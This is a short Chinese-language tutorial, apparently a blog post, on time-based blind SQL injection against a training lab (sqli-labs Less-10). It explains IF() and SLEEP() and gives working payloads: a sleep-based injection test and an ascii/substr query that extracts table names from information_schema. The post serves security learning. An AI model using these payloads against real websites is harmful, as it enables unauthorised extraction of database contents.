SQL注入-时间盲注

特别声明:该文章只运用于学习安全测试交流之用,请勿用于其他

时间盲注原理

当页面既不回显数据,也不回显错误信息时就不能通过页面来判断是否存在SQL注入漏洞

联合查询、报错查询和布尔盲注在此时就不起作用了

时间盲注利用时间敏感性SQL来判断是够存在注入漏洞

核心语法:if(left(user(),1)= ‘a’,0,sleep(3));

IF(expr1,expr2,expr3)

如果 expr1 是TRUE (expr1 <> 0 and expr1 <> NULL),则 IF()的返回值为expr2; 否则返回值则为 expr3。IF() 的返回值为数字值或字符串值,具体情况视其所在语境而定。

Sleep(3) 

程序休眠一定时间

手动注入,确认是否存在注入点

http://192.168.109.35:5679/Less-10/?id=1" and sleep(5) %23

页面返回发生延迟,所以存在注入点

图-1


利用substr函数来判断表名,当命中时程序程序休息2s返回响应

" and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))=48,sleep(2),0)--+

利用Python脚本来批量执行


图-2

结果:


图-3



获取所有表名

图-4

结果:

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

友情链接更多精彩内容